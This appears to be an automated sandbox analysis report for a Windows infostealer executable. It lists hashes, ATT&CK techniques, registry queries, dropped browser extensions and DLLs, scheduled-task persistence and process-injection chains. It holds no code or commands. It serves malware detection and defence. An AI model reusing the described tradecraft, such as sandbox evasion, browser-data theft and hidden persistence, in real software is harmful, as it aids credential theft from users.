bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db

Analysis

max time kernel
203s
max time network
298s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
01-07-2024 05:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe
Size

7.3MB
MD5

e6cd825e0b1461cc3c862bfd1b8eaa0e
SHA1

b3ff8e853ab4ed8f83478fc96c05469884055a95
SHA256

bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db
SHA512

b51f65bf6d2500d0c67fecd9bf6db6d15953ffda47c94f98cd829102eb45120af2621cfcc415edf2a5410ab8f63462e8ce83f2982d86fc3d54df3cc114791ca4
SSDEEP

196608:91OT31uC6wpe4pxkL9u3BmK+lPVFPyPvrffsoRYjViMm6aP+:3OLf3xF3Bmjl94vrfkoGjEbP+

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

40 1132 rundll32.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.EXEpowershell.exe

pid process

4592 powershell.exe
4456 powershell.EXE
3132 powershell.exe

flow	pid	process
40	1132	rundll32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

EeoKfwv.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Control Panel\International\Geo\Nation EeoKfwv.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeInstall.exeEeoKfwv.exe

pid process

4320 Install.exe
2688 Install.exe
1916 Install.exe
1828 EeoKfwv.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1132 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Control Panel\International\Geo\Nation	EeoKfwv.exe

pid	process
4320	Install.exe
2688	Install.exe
1916	Install.exe
1828	EeoKfwv.exe

pid	process
1132	rundll32.exe

Drops Chrome extension 2 IoCs

Processes:

EeoKfwv.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	EeoKfwv.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	EeoKfwv.exe

Drops desktop.ini file(s) 1 IoCs

Processes:

Install.exe

description ioc process

File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini Install.exe

description	ioc	process
File opened for modification	C:\$RECYCLE.BIN\S-1-5-18\desktop.ini	Install.exe

Drops file in System32 directory 33 IoCs

Processes:

powershell.exeInstall.exeEeoKfwv.exepowershell.exerundll32.exepowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	EeoKfwv.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	EeoKfwv.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDE8B1B7E253A9758EC380BD648952AF_A3D4688236962EEA03574DE4F61B95D9	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E52E4DB9468EB31D663A0754C2775A04	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E52E4DB9468EB31D663A0754C2775A04	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B3513D73A177A2707D910183759B389B_D55A76EA86A3695733B952639E5D4848	EeoKfwv.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	EeoKfwv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B3513D73A177A2707D910183759B389B_76B4AC942398240FF309817636D6DBC9	EeoKfwv.exe

Drops file in Program Files directory 14 IoCs

Processes:

EeoKfwv.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	EeoKfwv.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	EeoKfwv.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\uVjlwlftoxlKt.dll	EeoKfwv.exe
File created	C:\Program Files (x86)\rUfZlqUIdWiU2\CLbcZCn.xml	EeoKfwv.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\slByYNN.xml	EeoKfwv.exe
File created	C:\Program Files (x86)\MIUMVdEgyTUn\uwMPaAk.dll	EeoKfwv.exe
File created	C:\Program Files (x86)\bBBSFQQZU\VlltxK.dll	EeoKfwv.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	EeoKfwv.exe
File created	C:\Program Files (x86)\NNMAoTKMcAkAC\uXstMwS.dll	EeoKfwv.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	EeoKfwv.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\bVgZSWR.xml	EeoKfwv.exe
File created	C:\Program Files (x86)\rPikKiIbwrQGukIChiR\alWHUPS.dll	EeoKfwv.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	EeoKfwv.exe
File created	C:\Program Files (x86)\bBBSFQQZU\YxLNKAB.xml	EeoKfwv.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bUVDAOPnPkUhchiViu.job	schtasks.exe
File created	C:\Windows\Tasks\MhsnVFKWmmyXGZkTD.job	schtasks.exe
File created	C:\Windows\Tasks\LVynAQLCTpGcVPg.job	schtasks.exe
File created	C:\Windows\Tasks\MRaTohzfdszDuijXP.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

1848 1916 WerFault.exe Install.exe
3760 2688 WerFault.exe Install.exe
652 1828 WerFault.exe EeoKfwv.exe

pid	pid_target	process	target process
1848	1916	WerFault.exe	Install.exe
3760	2688	WerFault.exe	Install.exe
652	1828	WerFault.exe	EeoKfwv.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

EeoKfwv.exepowershell.exepowershell.exeInstall.exepowershell.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	EeoKfwv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc7460-0000-0000-0000-d01200000000}\MaxCapacity = "14116"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	EeoKfwv.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	EeoKfwv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	EeoKfwv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	Install.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	EeoKfwv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	EeoKfwv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc7460-0000-0000-0000-d01200000000}	EeoKfwv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc7460-0000-0000-0000-d01200000000}	Install.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{38fc7460-0000-0000-0000-d01200000000}\NukeOnDelete = "0"	Install.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4544 schtasks.exe
2444 schtasks.exe
4544 schtasks.exe
3664 schtasks.exe
1744 schtasks.exe
524 schtasks.exe
3328 schtasks.exe
3524 schtasks.exe
2432 schtasks.exe
1512 schtasks.exe

pid	process
4544	schtasks.exe
2444	schtasks.exe
4544	schtasks.exe
3664	schtasks.exe
1744	schtasks.exe
524	schtasks.exe
3328	schtasks.exe
3524	schtasks.exe
2432	schtasks.exe
1512	schtasks.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEEeoKfwv.exepowershell.exe

pid	process
4592	powershell.exe
4592	powershell.exe
4592	powershell.exe
2376	powershell.exe
2376	powershell.exe
2376	powershell.exe
2316	powershell.exe
2316	powershell.exe
2316	powershell.exe
4456	powershell.EXE
4456	powershell.EXE
4456	powershell.EXE
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
3132	powershell.exe
3132	powershell.exe
3132	powershell.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe
1828	EeoKfwv.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeWMIC.exepowershell.exepowershell.exepowershell.EXEpowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeIncreaseQuotaPrivilege	1512	WMIC.exe
Token: SeSecurityPrivilege	1512	WMIC.exe
Token: SeTakeOwnershipPrivilege	1512	WMIC.exe
Token: SeLoadDriverPrivilege	1512	WMIC.exe
Token: SeSystemProfilePrivilege	1512	WMIC.exe
Token: SeSystemtimePrivilege	1512	WMIC.exe
Token: SeProfSingleProcessPrivilege	1512	WMIC.exe
Token: SeIncBasePriorityPrivilege	1512	WMIC.exe
Token: SeCreatePagefilePrivilege	1512	WMIC.exe
Token: SeBackupPrivilege	1512	WMIC.exe
Token: SeRestorePrivilege	1512	WMIC.exe
Token: SeShutdownPrivilege	1512	WMIC.exe
Token: SeDebugPrivilege	1512	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1512	WMIC.exe
Token: SeRemoteShutdownPrivilege	1512	WMIC.exe
Token: SeUndockPrivilege	1512	WMIC.exe
Token: SeManageVolumePrivilege	1512	WMIC.exe
Token: 33	1512	WMIC.exe
Token: 34	1512	WMIC.exe
Token: 35	1512	WMIC.exe
Token: 36	1512	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1512	WMIC.exe
Token: SeSecurityPrivilege	1512	WMIC.exe
Token: SeTakeOwnershipPrivilege	1512	WMIC.exe
Token: SeLoadDriverPrivilege	1512	WMIC.exe
Token: SeSystemProfilePrivilege	1512	WMIC.exe
Token: SeSystemtimePrivilege	1512	WMIC.exe
Token: SeProfSingleProcessPrivilege	1512	WMIC.exe
Token: SeIncBasePriorityPrivilege	1512	WMIC.exe
Token: SeCreatePagefilePrivilege	1512	WMIC.exe
Token: SeBackupPrivilege	1512	WMIC.exe
Token: SeRestorePrivilege	1512	WMIC.exe
Token: SeShutdownPrivilege	1512	WMIC.exe
Token: SeDebugPrivilege	1512	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1512	WMIC.exe
Token: SeRemoteShutdownPrivilege	1512	WMIC.exe
Token: SeUndockPrivilege	1512	WMIC.exe
Token: SeManageVolumePrivilege	1512	WMIC.exe
Token: 33	1512	WMIC.exe
Token: 34	1512	WMIC.exe
Token: 35	1512	WMIC.exe
Token: 36	1512	WMIC.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	4456	powershell.EXE
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	4532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4532	WMIC.exe
Token: SeSecurityPrivilege	4532	WMIC.exe
Token: SeTakeOwnershipPrivilege	4532	WMIC.exe
Token: SeLoadDriverPrivilege	4532	WMIC.exe
Token: SeSystemtimePrivilege	4532	WMIC.exe
Token: SeBackupPrivilege	4532	WMIC.exe
Token: SeRestorePrivilege	4532	WMIC.exe
Token: SeShutdownPrivilege	4532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4532	WMIC.exe
Token: SeUndockPrivilege	4532	WMIC.exe
Token: SeManageVolumePrivilege	4532	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4532	WMIC.exe
Token: SeSecurityPrivilege	4532	WMIC.exe
Token: SeTakeOwnershipPrivilege	4532	WMIC.exe
Token: SeLoadDriverPrivilege	4532	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exeInstall.exepowershell.execmd.exe

description	pid	process	target process
PID 4512 wrote to memory of 4320	4512	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 4512 wrote to memory of 4320	4512	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 4512 wrote to memory of 4320	4512	bd214f63302f8c0efc7e193f9c29faf61c7368258875a19e14bd4d15998991db.exe	Install.exe
PID 4320 wrote to memory of 2688	4320	Install.exe	Install.exe
PID 4320 wrote to memory of 2688	4320	Install.exe	Install.exe
PID 4320 wrote to memory of 2688	4320	Install.exe	Install.exe
PID 2688 wrote to memory of 312	2688	Install.exe	forfiles.exe
PID 2688 wrote to memory of 312	2688	Install.exe	forfiles.exe
PID 2688 wrote to memory of 312	2688	Install.exe	forfiles.exe
PID 312 wrote to memory of 2464	312	forfiles.exe	cmd.exe
PID 312 wrote to memory of 2464	312	forfiles.exe	cmd.exe
PID 312 wrote to memory of 2464	312	forfiles.exe	cmd.exe
PID 2464 wrote to memory of 4592	2464	cmd.exe	powershell.exe
PID 2464 wrote to memory of 4592	2464	cmd.exe	powershell.exe
PID 2464 wrote to memory of 4592	2464	cmd.exe	powershell.exe
PID 4592 wrote to memory of 1512	4592	powershell.exe	WMIC.exe
PID 4592 wrote to memory of 1512	4592	powershell.exe	WMIC.exe
PID 4592 wrote to memory of 1512	4592	powershell.exe	WMIC.exe
PID 2688 wrote to memory of 3328	2688	Install.exe	schtasks.exe
PID 2688 wrote to memory of 3328	2688	Install.exe	schtasks.exe
PID 2688 wrote to memory of 3328	2688	Install.exe	schtasks.exe
PID 1916 wrote to memory of 2376	1916	Install.exe	powershell.exe
PID 1916 wrote to memory of 2376	1916	Install.exe	powershell.exe
PID 1916 wrote to memory of 2376	1916	Install.exe	powershell.exe
PID 2376 wrote to memory of 4684	2376	powershell.exe	cmd.exe
PID 2376 wrote to memory of 4684	2376	powershell.exe	cmd.exe
PID 2376 wrote to memory of 4684	2376	powershell.exe	cmd.exe
PID 4684 wrote to memory of 4196	4684	cmd.exe	reg.exe
PID 4684 wrote to memory of 4196	4684	cmd.exe	reg.exe
PID 4684 wrote to memory of 4196	4684	cmd.exe	reg.exe
PID 2376 wrote to memory of 364	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 364	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 364	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3020	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3020	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 3020	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 4992	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 4992	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 4992	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 4208	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 4208	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 4208	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 1068	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 1068	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 1068	2376	powershell.exe	reg.exe
PID 2376 wrote to memory of 2024	2376	powershell.exe	reg.exe
